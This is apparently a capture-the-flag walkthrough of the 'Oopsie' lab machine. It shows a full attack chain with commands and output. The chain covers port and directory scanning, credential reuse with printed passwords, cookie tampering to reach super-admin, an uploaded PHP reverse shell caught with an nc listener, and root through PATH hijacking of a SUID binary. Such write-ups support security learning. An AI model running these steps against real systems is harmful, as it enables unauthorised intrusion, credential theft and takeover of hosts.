Category: Machines
Difficulty: Easy
Description: -
Target Enumeration
We have this ip: 10.10.10.28
.
The first thing that we are going to do is to scan that ip in order to see which ports are open:
$ nmap -p- -sC -sV 10.10.10.28
Nmap scan report for 10.10.10.28
Host is up (0.041s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 15 19:29:35 2021 -- 1 IP address (1 host up) scanned in 29.03 seconds
From the result we can see that there are two services availables:
- ssh on port 22
- an apache webserver on port 80
This is the website hosted:
We can see that the website belongs to the MegaCorp company, and that company is the same of another machine (Archetype). Scrolling down there are some info about the company, and at the end of the page we can read that they have an email address in the contact page: admin@megacorp.com. Apart from that we canโt see other interesting things, so lets open OWASP ZAP and spider the site to see if we can find other pages.
Looks like there is a login page at the url /cdn-cgi/login
, so lets examine it in the browser.
Spawn a Shell
Looking at the mail address previously discovered, maybe there exist a user called admin*
*. And since the company is the same of the Archetype machine (and there we have discovered the admin password: **MEGACORP_4dm1n!!
), maybe trying with this credentials we can gain access.
Nice!
From the top menu we can see that they have an upload page, but if we try to see its content it displays the message: This action require super admin rights
. So in order to use that page we have to become super admin.
Viewing the Account
page we can see the use id of our profile, together with his name and his email address.
Inspecting the requests sent to view this page we can see that this site sets custom cookies for a user id and a role:
GET http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1 HTTP/1.1
Host: 10.10.10.28
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1
Cookie: user=34322; role=admin
Upgrade-Insecure-Requests: 1
And we can also notice in the get parameters that our admin user has an id equal to 1
. Now we can bruteforce this parameter with OWASP ZAP and see which one correspond to the super admin user.
Trying the id 30
we can see this data in the page:
Oh great, we find it. Now we can modify the cookie containing the user id with the one showed in this page to access the Uploads
page and see if we will find something interesting.
Really nice, we can upload the file we want, and why not one with a reverse shell? I used this one and modified to contact my machine at port 8888. Ah and set up a netcat listener on that port too (with nc -lvnp 8888
). Now to trigger that reverse shell we have to make a get requests to the php page that we have just uploaded, butโฆ where does it save our file?
Since we do not know other useful url, we have to enumerate the web server and hope we will discover something useful. I have done this with gobuster:
gobuster -u http://10.10.10.28/ -w /usr/share/dirb/wordlists/big.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.28/
[+] Threads : 10
[+] Wordlist : /usr/share/dirb/wordlists/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2021/06/16 11:13:37 Starting gobuster
=====================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
/themes (Status: 301)
/uploads (Status: 301)
=====================================================
2021/06/16 11:15:10 Finished
=====================================================
Wait, it found the /uploads
url, and probably our file is there, and if it is right all we have to do is make a simple get request with curl. Something like this: curl http://10.10.10.28/uploads/php_shell.php
, and โฆ
$ nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 10.10.10.28 54458
Linux oopsie 4.15.0-76-generic
13:38:47 up 57 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
robert pts/6 10.10.14.103 12:51 41:51 0.10s 0.00s sshd: robert [priv]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
it works! We are in!
Privilege Escalation
First of all, lets stabilize the shell:
$ which python3
/usr/bin/python3
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@oopsie:/$
Ctrl-Z
$ stty raw -echo
$ fg
www-data@oopsie:/$ reset
www-data@oopsie:/$
Ok now we have tab-completion, we can use the arrow keys to move in the input line and we have access to the command history.
Since there are more than one user, maybe the records that contains all the users are stored into a database. If we inspect the site directory we can find a db.php
file, and looking inside it we can see that it contains the credentials for the connection to the database:
www-data@oopsie:/$ ls /var/www/html/cdn-cgi/login
admin.php
db.php
index.php
script.js
www-data@oopsie:/$ cat /var/www/html/cdn-cgi/login/db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
Using those credential we can login as robert
:
www-data@oopsie:/$ su robert
Password:
robert@oopsie:/$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
From the id
command we can see that robert is a member of bugtracker
group, so we can search if there are some files with special access for that group:
robert@oopsie:/$ find / -type f -group bugtracker 2> /dev/null
/usr/bin/bugtracker
robert@oopsie:/$ ls -l /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
There is a bugtracker binary, and it has the set uid bit enabled, so when we execute it we temporarily become its owner, and its owner is the root user. If we try to execute it, it asks us for a bug id:
robert@oopsie:/$ bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 0
---------------
cat: /root/reports/0: No such file or directory
robert@oopsie:/$
It seems like it execute cat
. Using the strings
command on the binary we can see that it uses the relative path of the cat command instead of the absolute one:
robert@oopsie:/$ strings /usr/bin/bugtracker
...
...
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
...
...
robert@oopsie:/$
So we can create a fake cat executable, add it to the PATH
environment variable and launch again the bugtracker binary and it will execute our cat:
robert@oopsie:/$ mkdir /tmp/aaaa
robert@oopsie:/$ cd /tmp/aaaa
robert@oopsie:/tmp/aaaa$ echo '/bin/bash' > cat
robert@oopsie:/tmp/aaaa$ chmod +x cat
robert@oopsie:/tmp/aaaa$ export PATH="/tmp/aaaa:$PATH"
robert@oopsie:/tmp/aaaa$ bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 0
---------------
root@oopsie:/tmp/aaaa# whoami
root
root@oopsie:/tmp/aaaa# id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)